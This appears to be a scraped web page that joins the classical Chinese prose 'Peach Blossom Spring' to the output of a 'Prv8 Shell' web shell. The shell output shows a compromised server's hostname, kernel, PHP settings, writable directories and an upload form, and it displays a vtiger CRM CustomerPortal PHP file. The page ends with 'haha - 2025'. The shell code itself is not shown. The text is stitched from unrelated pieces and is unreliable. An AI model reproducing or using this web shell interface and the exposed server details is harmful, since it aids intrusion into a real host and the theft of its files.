晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/akaindir/public_html/crm/pkg/vtiger/modules/CustomerPortal/settings/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/akaindir/public_html/crm/pkg/vtiger/modules/CustomerPortal/settings/models/Module.php
<?php
/*+***********************************************************************************
 * The contents of this file are subject to the vtiger CRM Public License Version 1.0
 * ("License"); You may not use this file except in compliance with the License
 * The Original Code is:  vtiger CRM Open Source
 * The Initial Developer of the Original Code is vtiger.
 * Portions created by vtiger are Copyright (C) vtiger.
 * All Rights Reserved.
 ************************************************************************************ */

class Settings_CustomerPortal_Module_Model extends Settings_Vtiger_Module_Model {

	var $name = 'CustomerPortal';
	var $max_sequence = '';

	/**
	 * Function to get Current portal user
	 * @return <Interger> userId
	 */
	public function getCurrentPortalUser() {
		$db = PearDatabase::getInstance();

		$result = $db->pquery("SELECT prefvalue FROM vtiger_customerportal_prefs WHERE prefkey = 'userid' AND tabid = 0", array());
		if ($db->num_rows($result)) {
			return $db->query_result($result, 0, 'prefvalue');
		}
		return false;
	}

	/**
	 * Function to get current default assignee from portal
	 * @return <Integer> userId
	 */
	public function getCurrentDefaultAssignee() {
		$db = PearDatabase::getInstance();

		$result = $db->pquery("SELECT default_assignee FROM vtiger_customerportal_settings", array());
		if ($db->num_rows($result)) {
			return $db->query_result($result, 0, 'default_assignee');
		}
		return false;
	}

	/**
	 * Function to get list of portal modules
	 * @return <Array> list of portal modules <Vtiger_Module_Model>
	 */
	public function getModulesList() {
		if (!$this->portalModules) {
			$db = PearDatabase::getInstance();

			$query = "SELECT vtiger_customerportal_tabs.*, vtiger_tab.name FROM vtiger_customerportal_tabs
					INNER JOIN vtiger_tab ON vtiger_customerportal_tabs.tabid = vtiger_tab.tabid AND vtiger_tab.presence = 0 ORDER BY vtiger_customerportal_tabs.sequence";

			$result = $db->pquery($query, array());
			$rows = $db->num_rows($result);
			for ($i = 0; $i < $rows; $i++) {
				$rowData = $db->query_result_rowdata($result, $i);
				$tabId = $rowData['tabid'];

				if ($rowData['sequence'] > $this->max_sequence)
					$this->max_sequence = $rowData['sequence'];

					$moduleModel = Vtiger_Module_Model::getInstance($tabId);
					foreach ($rowData as $key => $value) {
						$moduleModel->set($key, $value);
					}
					$portalModules[$tabId] = $moduleModel;
				}
			$this->portalModules = $portalModules;
		}
		return $this->portalModules;
	}

	/**
	 * Function to get list of Contact Related Modules LIst
	 * @return <Array> list of Contact Related Modules <Vtiger_Module_Model>
	 */
	public function getContactRelatedModulesList() {
		$contacModuleModel = Vtiger_Module_Model::getInstance('Contacts');
		$relationModules = Vtiger_Relation_Model::getAllRelations($contacModuleModel);
		$restrictedModules = array('ModComments', 'Calendar', 'Potentials', 'Emails', 'PurchaseOrder', 'SalesOrder', 'Campaigns', 'Vendors');
		$contactRelatedModules = array();
		foreach ($relationModules as $relationModuleModel) {
			$relatedModuleName = $relationModuleModel->get('relatedModuleName');
			if (!in_array($relatedModuleName, $restrictedModules)) {
				$relatedmoduleModel = Vtiger_Module_Model::getInstance($relatedModuleName);
				$contactRelatedModules[$relatedmoduleModel->getId()] = $relatedmoduleModel;
			}
		}
		return $contactRelatedModules;
	}

	/**
	 * Function to save the details of Portal modules
	 */
	public function save() {
		$db = PearDatabase::getInstance();
		$defaultAssignee = $this->get('defaultAssignee');
		$enableModules = $this->get('enableModules');
		$portalModulesInfo = $this->get('moduleSequence');
		$renewalPeriod = $this->get('support_notification');
		$announcement = $this->get('announcement');
		$shortcuts = $this->get('shortcuts');
		$moduleFieldsInfo = $this->get('moduleFieldsInfo');
		$relatedModuleList = $this->get('relatedModuleList');
		$charts = $this->get('charts');
		$widgets = $this->get('widgets');
		$recordsVisible = $this->get('recordsVisible');
		$recordPermissions = $this->get('recordPermissions');
		foreach ($enableModules as $moduleId => $visibility) {
			$disable = array(getTabid('Accounts'), getTabid('Contacts'));
			if (in_array($moduleId, $disable)) {
				throw new Exception("Trying to access restricted module");
				exit;
			}
			$tabid = getTabid($moduleId);
			$db->pquery('INSERT INTO vtiger_customerportal_tabs(tabid,visible) VALUES(?,?) ON DUPLICATE KEY UPDATE visible = ?', array($tabid, $visibility, $visibility));
		}

		$updateSequenceQuery = " UPDATE vtiger_customerportal_tabs SET sequence = ? WHERE tabid = ?";
		foreach ($portalModulesInfo as $tabId => $moduleDetails) {
			$db->pquery($updateSequenceQuery, array($moduleDetails['sequence'], $tabId));
		}

		//Update the dashboard widgets, charts, announcement and support_notification details.
		$activeWidgets['widgets'] = $widgets;
		$dashboardWidgets = json_encode($activeWidgets);
		if ($dashboardWidgets) {
			$db->pquery('UPDATE vtiger_customerportal_settings SET default_assignee=?, support_notification=?, announcement=?, widgets=?', array($defaultAssignee, $renewalPeriod, $announcement, $dashboardWidgets));
		}
		//Update module field info
		if (!empty($moduleFieldsInfo)) {
			foreach ($moduleFieldsInfo as $module => $fields) {
				$tabid = getTabid($module);
				$currentActiveFields = json_decode($fields, true);
				foreach ($currentActiveFields as $field => $status) {
					if (!isFieldActive($module, $field)) {
						$currentActiveFields[$field] = 0;
					}
				}
				self::updateFields($tabid, json_encode($currentActiveFields));
			}
		}

		//Update related module info

		if (!empty($relatedModuleList)) {
			foreach ($relatedModuleList as $module => $info) {
				$tabid = getTabid($module);
				$db->pquery('INSERT INTO vtiger_customerportal_relatedmoduleinfo(tabid, relatedmodules) VALUES(?,?) ON DUPLICATE KEY UPDATE relatedmodules = ?', array($tabid, $info, $info));
			}
		}

		//Update record visiblity status

		if (!empty($recordsVisible)) {
			foreach ($recordsVisible as $module => $info) {
				$tabid = getTabid($module);
				if ($info == 'all') {
					$db->pquery('UPDATE vtiger_customerportal_fields SET records_visible = ? WHERE tabid = ?', array(1, $tabid));
				} else if ($info == 'onlymine') {
					$db->pquery('UPDATE vtiger_customerportal_fields SET records_visible = ? WHERE tabid = ?', array(0, $tabid));
				}
			}
		}

		// clearing mem-cache for CustomerPortal
		Vtiger_Cache::delete('CustomerPortal', 'activeModules');
		Vtiger_Cache::delete('CustomerPortal', 'activeFields');

		//Update record permissions.
		if (!empty($recordPermissions)) {
			$updatedPermissions = array();
			foreach ($recordPermissions as $module => $permissionsArray) {
				$updatedPermissions['module'] = $module;
				foreach ($permissionsArray as $permissionKey => $permissionValues) {
					if (is_array($permissionValues)) {
						foreach ($permissionValues as $permissions => $value) {
							$updatedPermissions[$permissions] = $value;
						}
					}
				}
			}
			$tabId = getTabid($updatedPermissions['module']);
			$db->pquery('UPDATE vtiger_customerportal_tabs SET createrecord=?,editrecord=? WHERE tabid=?', array($updatedPermissions['create'], $updatedPermissions['edit'], getTabid($updatedPermissions['module'])));
		}
	}

	public function getRelatedModules($sourceModule) {
		$db = PearDatabase::getInstance();
		$result = $db->pquery('SELECT relatedmodules FROM vtiger_customerportal_relatedmoduleinfo WHERE tabid = ? ', array(getTabid($sourceModule)));
		$relatedModules = array();
		if ($db->num_rows($result) > 0) {
			$row = $db->fetch_array($result);
			$relatedModules[$sourceModule] = json_decode(decode_html($row['relatedmodules']), true);
		}
		return $relatedModules;
	}

	public function getDashboardInfo() {
		$db = PearDatabase::getInstance();
		$result = $db->pquery('SELECT * FROM vtiger_customerportal_settings', array());
		$noOfoRows = $db->num_rows($result);
		$dashboardInfo = array();
		if ($noOfoRows == 1) {
			while ($row = $db->fetch_array($result)) {
				$dashboardInfo['url'] = $row['url'];
				$dashboardInfo['default_assignee'] = $row['default_assignee'];
				$dashboardInfo['support_notification'] = $row['support_notification'];
				$dashboardInfo['announcement'] = $row['announcement'];
				$dashboardInfo['shortcuts'] = decode_html($row['shortcuts']);
				$dashboardInfo['widgets'] = decode_html($row['widgets']);
			}
			$currentWidgets = json_decode($dashboardInfo['widgets'], true);
			$dashboardInfo['widgets'] = json_encode($currentWidgets);
			$this->set('dashboardInfo', $dashboardInfo);
		}
		return $this;
	}

	public function getSelectedFields($tabId) {
		$db = PearDatabase::getInstance();
		$result = $db->pquery('SELECT fieldinfo FROM vtiger_customerportal_fields WHERE tabid = ?', array($tabId));
		if ($db->num_rows($result) > 0) {
			$fieldInfo = $db->query_result($result, 0, 'fieldinfo');
		}
		return $fieldInfo;
	}

	public function updateFields($tabId, $fieldJson) {
		$db = PearDatabase::getInstance();
		$db->pquery('INSERT INTO vtiger_customerportal_fields(tabid, fieldinfo) VALUES(?,?) ON DUPLICATE KEY UPDATE fieldinfo = ?', array($tabId, $fieldJson, $fieldJson));
	}

	public function getRecordVisiblity($tabId) {
		$db = PearDatabase::getInstance();
		$result = $db->pquery('SELECT records_visible FROM vtiger_customerportal_fields WHERE tabid= ?', array($tabId));
		if ($db->num_rows($result)) {
			$visibilityResult = $db->query_result($result, 0, 'records_visible');
			$visibilityInfo = array();
			if ($visibilityResult == 0) {
				$visibilityInfo['onlymine'] = 1;
				$visibilityInfo['all'] = 0;
				$visibilityInfo['onlypublished'] = 0;
			} else if ($visibilityResult == 1) {
				$visibilityInfo['all'] = 1;
				$visibilityInfo['onlymine'] = 0;
				$visibilityInfo['onlypublished'] = 0;
			} else if ($visibilityResult == 2) {
				$visibilityInfo['all'] = 0;
				$visibilityInfo['onlymine'] = 0;
				$visibilityInfo['onlypublished'] = 1;
			}
		}
		return $visibilityInfo;
	}

	public function getRecordPermissions($tabid) {
		$db = PearDatabase::getInstance();
		$permissionResult = $db->pquery('SELECT createrecord,editrecord FROM vtiger_customerportal_tabs WHERE tabid=?', array($tabid));
		if ($db->num_rows($permissionResult)) {
			$createPermission = $db->query_result($permissionResult, 0, 'createrecord');
			$editPermission = $db->query_result($permissionResult, 0, 'editrecord');
			$permissionInfo = array();
			$permissionInfo['create'] = $createPermission;
			$permissionInfo['edit'] = $editPermission;
		}
		return $permissionInfo;
	}

	//Function to check if the field is editable on Portal depending on its
	//module field name and wether it is editable in CRM or No.,

	public function isFieldCustomerPortalEditable($crmStatus, $value, $module) {
		$isFieldEditable = 0;
		if ($crmStatus && $value->name !== 'assigned_user_id' && $value->name !== 'contact_id') {
			$isFieldEditable = 1;
			switch ($module) {
				case 'HelpDesk'	:	if (in_array($value->name, array('contact_id', 'parent_id'))) {
										$isFieldEditable = 0;
									}
									break;
				case 'Assets'	:	if (in_array($value->name, array('account', 'contact', 'datesold', 'serialnumber'))) {
										$isFieldEditable = 0;
									}
									break;
			}
		}
		return $isFieldEditable;
	}

}

haha - 2025